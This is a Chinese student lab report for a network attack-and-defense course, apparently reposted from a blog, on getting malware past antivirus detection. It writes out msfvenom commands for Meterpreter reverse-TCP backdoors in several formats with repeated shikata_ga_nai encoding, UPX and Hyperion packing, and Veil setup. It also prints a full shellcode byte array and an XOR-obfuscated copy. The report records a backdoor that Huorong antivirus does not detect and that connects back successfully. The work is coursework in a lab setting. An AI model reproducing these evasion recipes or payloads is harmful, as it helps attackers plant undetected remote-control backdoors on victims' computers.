首页 > 其他分享 >20222411 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222411 2024-2025-1 《网络与系统攻防技术》实验三实验报告

时间:2024-10-20 22:01:57浏览次数:1  
标签:exe x1 xfe xff 2024 2025 20222411 x00

1.实验内容

1.1 实践内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

veil,加壳工具

使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 回答问题

(1)杀软是如何检测出恶意代码的?

有以下几种主要技术:

  特征检测:杀毒软件会维护一个恶意代码的特征数据库,其中包含已知恶意软件的特征和指纹。当扫描文件时,杀毒软件会检查文件的特征是否与数据库中的已知恶意代码匹配。

  行为检测:杀毒软件会监视程序的行为,并根据其执行的操作来判断其是否具有恶意意图。例如,如果程序试图修改系统文件或发送敏感信息,则可能被标记为恶意。

  启发式检测:杀毒软件使用启发式分析来检测未知的恶意代码。它会评估程序的行为和特性,以推断其是否可能是恶意软件。这种方法可以帮助检测新型恶意代码或变种。

  沙箱分析:一些杀毒软件会将可疑文件放入安全环境中运行,以观察其行为。通过在隔离环境中执行文件,杀毒软件可以分析其操作并确定是否为恶意。

(2)免杀是做什么?

  免杀是指恶意代码制作者采取各种技术手段,使其所创建的恶意代码能够绕过杀毒软件等安全防护机制,不被检测出来。这种做法可以让恶意代码在目标系统中持续存在和执行,从而实现攻击者的恶意目的。免杀技术通常包括对恶意代码进行加密、混淆、变形等处理,以使其不易被传统的安全软件所识别和拦截。

(3)免杀的基本方法有哪些?

  改变特征码:因为杀软是利用检测特征码来检测恶意代码的,那免杀就一定可以通过改变特征码来实现。如果可以在不影响程序功能的情况下,依靠分片等方法尝试找出特征码区域,并对该区域代码进行重新编码,那么就可能实现代码的免杀。

  加花:花指令实质就是一串垃圾指令,它与程序本身的功能无关,并不影响程序本身的逻辑。 在软件保护中,花指令可以被作为一种手段来增加静态分析的难度。同时,它也可以被用在病毒或木马上,通过加入花指令改变程序的特征码,躲避杀软的扫描,从而达到免杀的目的。

  加壳:软件加壳也可以说是软件加密,只是加密的方式和目的不同而已。一般的加密是为了不让别人浏览,而加壳是为了使恶意代码不让杀毒软件查杀。加壳并不会破坏程序本身,当我们运行它时,系统会将加密程序释放到内存中去,表面上看起来没有任何变化,但实则上“壳”已经实现了它的作用。

1.3 本周学习内容

(1)简单后门实践
netcat工具:探测端口是否开放、局域网聊天、文件传输、正向连接、反向连接(-e重定向马上连接)

Meterpreter工具:Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道(shell)。

Veil Evasion:veil-evasion是linux平台的一款免杀工具,用来生成msf的payload(+meterpreter),能绕过常见的杀软。(生成免杀工具)

2.实验过程

2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2.1.1 使用msfvenom生成.exe后门可执行程序

(1)不使用编码器生成后门程序20222411.exe

  输入指令msfvenom -p windows/meterpreter/reverse_tcp  LHOST=192.168.222.129 LPORT=9999 -f exe > 20222411.exe

  送入VirusTotal检测,效果不是很好,检测率61/73,可以被大多数供应商检测到。

  (2)通过指令msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.222.129 LPORT=9999 -f exe > 20222411_1.exe使用编码器生成后面程序20222411_1.exe(进行一次编码)

  送入VirusTotal检测,效果也不是很好,检测率62/73,可以被大多数供应商检测到。

  (3)通过指令msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai  -i 24 -b ‘\x00’ LHOST=192.168.222.129 LPORT=9999 -f exe > 20222411_2.exe使用编码器生成后面程序20222411_1.exe(编码24次)

  解释这个命令的各个部分:

   -p windows/meterpreter/reverse_tcp: 指定生成的Payload类型为Meterpreter反向TCP shell,用于与攻击者的监听器建立连接。   
   -e /x86/shikata_ga_nai: 使用Shikata Ga Nai编码器对Payload进行混淆,增加免杀能力。
   -i 24: 指定编码器的迭代次数为24次,用于增加混淆程度。
   -b ‘\x00’: 指定要避免的字符,这里是避免空字符\x00,以防止在传输过程中被误解释。

  送入VirusTotal检测,检测率61/73。

  (2)使用msfvenom生成其他格式的后门文件
  采用msfvenom指令通过选择不同的payload,来生成不同格式的后门文件,包括.jar文件、.php文件、.py文件以及.apk文件。
 
 msfvenom -p java/meterpreter/reverse_tcp  LHOST=192.168.222.129 LPORT=9999 -f jar > 20222411.jar

msfvenom -p php/meterpreter/reverse_tcp  LHOST=192.168.222.129 LPORT=9999 x > 20222411.php

msfvenom -p python/meterpreter/reverse_tcp  LHOST=192.168.222.129 LPORT=9999 -f py > 20222411.py

msfvenom -p android/meterpreter/reverse_tcp  LHOST=192.168.222.129 LPORT=9999 x > 20222411.apk

  分别将以上各类型的后门程序上传至VirusTotal进行检测,结果如下。
  20222411.jar:

  20222411.php:

  20222411.py:

  20222411.apk:

  综上,我已经利用msfvenom生成了若干个后门程序,它们在VirusTotal上都有着不同的检测率。具体如下:

序号 免杀方式 文件名 VirusTotal
1 msfvenom直接生成 20222411.exe 61/73
2 msfvenom 编码一次 20222411_1.exe 62/73
3 msfvenom 多次编码 20222411_2.exe 61/73
4 生成.jar后门文件 20222411.jar 34/64
5 生成.php后门文件 20222411.php 26/63
6 生成.py后门文件 20222411.py 0/63
7 生成.apk后门文件 20222411.apk 26/66

2.1.2 使用Veil生成后门程序

  (1)下载配置Veil
  安装veil,依次输入以下命令:

mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
apt-get install veil
sudo su
cd /usr/share/veil/config/
vim setup.sh

  在第200多行的代码中,找到下图内容,按i键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出;

  运行veil进行安装;

  过程中可能需要安装多个程序,一路默认安装即可;

  通过命令use evasion进入evasion模块,如下图

  可以看到Veil为我们提供了共41个可用的payload,可以通过输入list指令具体查看每一个payload的名称。

  (2)利用Veil生成后门程序
  如图,输入use 7,选择载荷c/meterpreter/rev_tcp后,输入 set LHOST 192.168.222.129set LPORT 9999分别set好LHOST、LPORT,输入generate指令开始生成文件V20222411.exe

  在/var/lib/veil/output/compoled中找到将V20222411.exe,上传至VirusTotal进行检测,检测率为44/73,免杀有一定效果但并不显著。

2.1.3 加壳处理来试图实现免杀

  (1)压缩加壳

  输入指令upx 20222411.exe -o 20222411_upx.exe,对后门文件进行压缩加壳,可以看到压缩率为65.21%,生成文件20222411_upx.exe。

  将20222411_upx.exe上传至VirusTotal检测,检测率为55/72,没什么效果。

  (2)加密加壳

  先输入cp 20222411.exe /usr/share/windows-resources/hyperion复制需要加壳的文件;再输入cd /usr/share/windows-resources/hyperion进入文件夹。
  输入指令wine hyperion.exe -v 20222411.exe 20222411_hyperion.exe对文件进行加密加壳

  在/usr/share/windows-resources/hyperion中找到20222411_hyperion.exe,上传检测,检测率仍很不理想,高达53/73.

2.1.4 采用C+shellcode来试图实现免杀

  输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=9999 -f c来获取一段shellcode编码。

  输入vi 20222411_C.c,创建文件并将shellcode加入进去,如图。

  输入gcc 20222411_C.c -o 20222411_C.exe 采用gcc编译20222411_C.exe文件并传至主机。
 

  上传至VirusTotal检测,效果不错!!检测率只有15/66。

2.2 通过组合应用各种技术实现恶意代码免杀

2.2.1 msfvenom多次编码+压缩加壳

  依次输入指令
  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.222.129 LPORT=9999 -f exe >20222411_4.exe
  upx 20222411.exe -o 20222411_4_upx.exe
  利用多次编码方式生成后门软件并进行加壳处理。

 上传至VirusTotal检测,检测率为54/72。

2.2.2 C+shellcode编码+异或处理

创建文件20222411_OR.c,编写使其将刚刚生成的shellcode编码在异或处理后输出到文件20222411shellcode.txt,具体如下。

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6a\x80\x68\x02\x00"
"\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

  使用gcc编译后运行,得到异或后的shellcode编码。

运行20222411_OR.exe后打开20222411shellcode.txt

\xfd\xe9\x8e\x1\x1\x1\x61\x88\xe4\x30\xd3\x65\x8a\x53\x31\x8a\x53\xd\x8a\x53\x15\x30\xfe\xe\xb6\x4b\x27\x8a\x73\x29\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\xc0\xce\xc\x0\xc6\x48\x74\xee\x53\x8a\x53\x11\x56\x8a\x43\x3d\x0\xd1\x8a\x41\x79\x84\xc1\x75\x4d\x0\xd1\x51\x8a\x49\x19\x8a\x59\x21\x0\xd2\x84\xc8\x75\x3d\x48\x30\xfe\x8a\x35\x8a\x0\xd7\x30\xc1\xc0\xce\xc\xad\x0\xc6\x39\xe1\x74\xf5\x2\x7c\xf9\x3a\x7c\x25\x74\xe1\x59\x8a\x59\x25\x0\xd2\x67\x8a\xd\x4a\x8a\x59\x1d\x0\xd2\x8a\x5\x8a\x0\xd1\x88\x45\x25\x25\x5a\x5a\x60\x58\x5b\x50\xfe\xe1\x59\x5e\x5b\x8a\x13\xe8\x81\xfe\xfe\xfe\x5c\x69\x32\x33\x1\x1\x69\x76\x72\x33\x5e\x55\x69\x4d\x76\x27\x6\x88\xe9\xfe\xd1\xb9\x91\x0\x1\x1\x28\xc5\x55\x51\x69\x28\x81\x6a\x1\xfe\xd4\x6b\xb\x69\xc1\xa9\x6b\x81\x69\x3\x1\x26\xe\x88\xe7\x51\x51\x51\x51\x41\x51\x41\x51\x69\xeb\xe\xde\xe1\xfe\xd4\x96\x6b\x11\x57\x56\x69\x98\xa4\x75\x60\xfe\xd4\x84\xc1\x75\xb\xfe\x4f\x9\x74\xed\xe9\x66\x1\x1\x1\x6b\x1\x6b\x5\x57\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7f\x37\x8a\x37\x6b\x41\x69\x1\x11\x1\x1\x57\x6b\x1\x69\x59\xa5\x52\xe4\xfe\xd4\x92\x52\x6b\x1\x57\x52\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7c\x29\x59\x69\x1\x41\x1\x1\x6b\x1\x51\x69\xa\x2e\xe\x31\xfe\xd4\x56\x69\x74\x6f\x4c\x60\xfe\xd4\x5f\x5f\xfe\xd\x25\xe\x84\x71\xfe\xfe\xfe\xe8\x9a\xfe\xfe\xfe\x0\xc2\x28\xc7\x74\xc0\xc2\xba\xf1\xb4\xa3\x57\x6b\x1\x52\xfe\xd4
创建文件20222411_OR_C.c文件,将异或后的编码加入进去,再利用gcc编译生成.exe后门文件传至主机。具体步骤参照实验第一部分。

  上传至VirusTotal检测,效果非常好!!!检测率低至仅仅2/66。

  使用火绒查杀本次实验生成的后门文件,结果如图:


  查杀的10个文件中,没有20222411_OR_C.exe,说明该后门文件与杀毒软件共生。

2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.222.129 LPORT=9999 -f raw >20222411.raw
,生成后门文件20222411.raw.

启动msf,配置好payload、LHOST等相关参数,开始监听。

安装[shellcode_launcher:] (https://gitee.com/vantler/shellcode_launcher/)

在主机进入20222411.raw,可以观察到成功连接。

3.问题及解决方案

  • 问题1:2.2.2中生成的202222411shellcode.txt文件在虚拟机中无法复制其中内容

  • 问题1解决方案:将txt文件通过共享文件夹传至Windows主机中,即可复制

  • 问题2:kail虚拟机中的共享文件夹重新开机后就会消失

  • 问题2解决方案:命令行中输入vmhgfs-fuse .host:/ /mnt/hgfs

4.学习感悟、思考等

本次实验我学习了免杀的原理,学习了netcat、Meterpreter、Veil Evasion等工具的使用,我成功制作了一个火绒无法查杀的后门文件,并实现成功回连。但是这也促使我进行了一些思考,我们经过几节课的学习就能如此轻易制作出一个安全软件无法查杀的后门文件,这个方法一旦被有心之人利用,很容易就能去破坏别人的电脑。所以我们一定要提高安全意识,我们不能随便点击从不正规的渠道得到的文件。
除此之外,我也有一些问题还是很困惑,就是生成的.py文件为何在virustotal中检测率为0,这有待我在后面的学习中继续思考。

标签:exe,x1,xfe,xff,2024,2025,20222411,x00
From: https://www.cnblogs.com/bestikk/p/18475226

相关文章

  • 2024-2025-1 20241329 《计算机基础与程序设计》第四周学习总结
    作业信息作业归属课程:https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP作业要求:https://www.cnblogs.com/rocedu/p/9577842.html#WEEK04作业目标:门电路;组合电路,逻辑电路;冯诺依曼结构;CPU,内存,IO管理;嵌入式系统,并行结构;物理安全作业正文:https://www.cnblogs.com/incamelli......
  • # 20222309 2024-2025-1 《网络与系统攻防技术》实验二实验报告
    1.实验内容1、实验目标(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程(2)使用socat获取主机操作Shell,任务计划启动(3)使用MSFmeterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat......
  • CSP2024 前集训:多校A层冲刺NOIP2024模拟赛08
    前言先痛骂没良心出题人,T1\(n\sqrtn\)多大你刚好给多大,一点不多给,T2才是签到题,因为放了T2位置打了暴力就去想T3了,我是唐氏,谁让你T1、T2swap的?T3实则三道题。但是还是感觉T1更简单啊,\(5e4\)搁哪儿摆着呢一眼\(O(n\sqrtn)\),甚至空间也是这么多,太明显了。挂分挂......
  • 2024 CCPC第五届辽宁省程序设计竞赛 集训1
    A.左移#include<bits/stdc++.h>usingnamespacestd;intmain(){intT;cin>>T;while(T--){strings;cin>>s;intans=-1;if(s.front()==s.back())ans=0;else{......
  • 2024 CCPC区域赛哈尔滨 游记
    Day.0热身赛0.东北林业大学环境还是挺不错的,去看了森林博物馆,还转了转,不愧是林业大学吗这么多树。饭票可以用在食堂各个窗口不错,甚至连蜜雪冰城都可以用。A.签到题。用一用抽屉原理,得知最多填20个格子,对角线空出来即可。第一发不小心以为是填满4*4的16个格子,当时觉得极其的对......
  • [20241024] T3 题解
    细节挺多的。题意有一个长度为\(n\)的数组\(a\)和一个长度为\(m\)的队列\(q\),初始时\(q\)中的元素和为\(0\)。对\(x=1,2,\cdots,n\)进行如下操作:如果队首元素\(q_1<a_x\),则\(q\)弹出队首,将\(a_x\)插入队尾。在操作结束后,定义数组\(a\)的权值为\(q\)......
  • #2024-2025-1学号20241309《计算机基础与程序设计》第四周学习总结
    作业信息这个作业属于哪个课程2024-2025-1-计算机基础与程序设计这个作业要求在哪里2024-2025-1计算机基础与程序设计第四周作业这个作业的目标|作业正文|2024-2025-1学号20241309《计算机基础与程序设计》第四周学习总结教材学习内容总结《计算机科学概论》......
  • 2024-2025-1 20241312 《计算机基础与程序设计》第4周学习总结
    作业信息|这个作业属于哪个课程|<班级的链接>(如2024-2025-1-计算机基础与程序设计)||这个作业要求在哪里|<作业要求的链接>(如2024-2025-1计算机基础与程序设计第四周作业||这个作业的目标|门电路组合电路,逻辑电路冯诺依曼结构CPU,内存,IO管理嵌入式系统,并行结构物理安全||作业......
  • 多校A层冲刺NOIP2024模拟赛09
    多校A层冲刺NOIP2024模拟赛09考试唐完了,T2、T4都挂了100分,人麻了。排列最小生成树给定一个\(1,2,\dots,n\)的排列\(p_1,p_2,\dots,p_n\)。构造一个\(n\)个点的完全无向图,节点编号分别是\(1,2,\dots,n\)。节点i和节点j之间的边边权为\(|pi−pj|×|i......
  • 2024 ICPC Asia Taiwan Online Programming Contest题解记录
    比赛链接:https://codeforces.com/gym/105383/problemA.AnimalFarm找个最大pig,然后所有比他小的其他种类生物一直加就好了#include<bits/stdc++.h>usingnamespacestd;typedeflonglongll;constllmod=1e9+7;llksm(llx,lly){ llans=1; while(y) { if(y&1)......